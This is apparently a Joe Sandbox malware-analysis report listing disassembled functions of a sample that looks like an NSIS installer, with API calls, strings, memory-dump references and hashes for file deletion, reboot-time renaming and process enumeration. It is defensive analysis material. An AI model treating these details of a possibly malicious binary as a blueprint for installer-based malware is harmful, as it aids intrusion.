API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
\*.*, xrefs: 00406D2F
ptF, xrefs: 00406D1A
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
F, xrefs: 004046A0

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
name, xrefs: 00406FEB
%s: failed opening file "%s", xrefs: 00406F38

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406A73

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
F, xrefs: 00406A7F
F, xrefs: 00406858
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

GetModuleBaseNameW, xrefs: 004064C0
PSAPI.DLL, xrefs: 00406490
Unknown, xrefs: 00406528
Process32FirstW, xrefs: 004065E9
Kernel32.DLL, xrefs: 004065C7
EnumProcessModules, xrefs: 004064B6
EnumProcesses, xrefs: 004064AE
Module32NextW, xrefs: 0040660A
Process32NextW, xrefs: 004065F4
CreateToolhelp32Snapshot, xrefs: 004065E1
Module32FirstW, xrefs: 004065FF

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
F, xrefs: 004042D3
open, xrefs: 0040430B

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

%s=%s, xrefs: 00406B6F
[Rename], xrefs: 00406BF4, 00406C03
plF, xrefs: 00406B54
^F, xrefs: 00406ACF
NUL, xrefs: 00406ACA

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

